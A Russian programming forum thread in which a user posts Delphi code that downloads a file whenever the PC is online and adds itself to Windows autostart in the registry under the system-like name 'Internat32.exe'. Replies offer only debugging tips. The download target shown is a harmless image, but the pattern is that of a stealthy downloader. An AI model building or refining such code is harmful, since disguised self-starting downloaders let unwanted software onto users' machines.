Программа не работает

[ZYRGiX]

Подскажите пожалуйста, что я делаю не так.
По идеи (как я думаю) должно происходить следущее:
Если компьютер в интернете, то программа скачивает файл, если нет, то ждёт 5 секунд и затем сново пробует скачать файл. Если мышка двигается, то программа прописывается в реестр.
Вот код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, registry,URLMon, ShellApi;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
const INTERNET_CONNECTION_MODEM = 1;
 INTERNET_CONNECTION_LAN = 2;
 internet_connection_proxy = 4;
 internet_connection_modem_busy = 8;


{$R *.dfm}

function DownloadFile(SourceFile, DestFile: string): Boolean;
 begin
  try
   Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil)  = 0;
 except
 Result := False;
 end;
 end;


function IsConnectedToInternet(lpdwFlags: LPDWORD): Boolean;
const
  WininetDLL = 'wininet.dll';
var
  hWininetDLL: THandle;
  dwReserved: DWORD;
  fn_InternetGetConnectedState: function(lpdwFlags: LPDWORD; dwReserved: DWORD): BOOL; stdcall;
begin
  Result := False;
  dwReserved := 0;
  hWininetDLL := LoadLibrary(WininetDLL);
  if hWininetDLL > 0 then
  begin
    @fn_InternetGetConnectedState := GetProcAddress(hWininetDLL,'InternetGetConnectedState');
    if Assigned(fn_InternetGetConnectedState) then
    begin
      Result := fn_InternetGetConnectedState(lpdwFlags, dwReserved);
    end;
    FreeLibrary(hWininetDLL);
  end else
   raise Exception.Create('Unable to locate function InternetGetConnectedState in library ' + WininetDLL);

end;

procedure TForm1.FormCreate(Sender: TObject);
const
  INTERNET_CONNECTION_MODEM = 1;
  INTERNET_CONNECTION_LAN = 2;
  INTERNET_CONNECTION_PROXY = 4;
  INTERNET_CONNECTION_MODEM_BUSY = 8;
  // URL Location
  SourceFile = 'http://www.google.com/intl/de/images/home_title.gif';
  // Where to save the file
  DestFile = 'c:\google-image.gif';
var
  dwConnectionTypes: DWORD;
begin
dwConnectionTypes :=
    INTERNET_CONNECTION_MODEM +
    INTERNET_CONNECTION_LAN +
    INTERNET_CONNECTION_PROXY;
  if IsConnectedToInternet(@dwConnectionTypes) then
    DownloadFile(SourceFile, DestFile)
  else
    sleep(5000);
end;





procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
  var
 RegIni:TRegIniFile;
 begin
 RegIni:=TregIniFile.Create('Software');
 RegIni.RootKey:=HKEY_LOCAL_MACHINE;
 RegIni.OpenKey('Software', true);
 RegIni.OpenKey('Microsoft', true);
 RegIni.OpenKey('Windows', true);
 RegIni.OpenKey('CurrentVersion', true);
 RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName);
 RegIni.Free;
end;

end.

[Stilet]

Ну в целом все правильно, просто ты не ту стратегию выбрал - тебе нужно проверять IsConnectedToInternet либо в цикле в отдельном потоке либо в таймере.

[Alex.rus]

А попробуй пингануть какой-нить сайт например ya.ru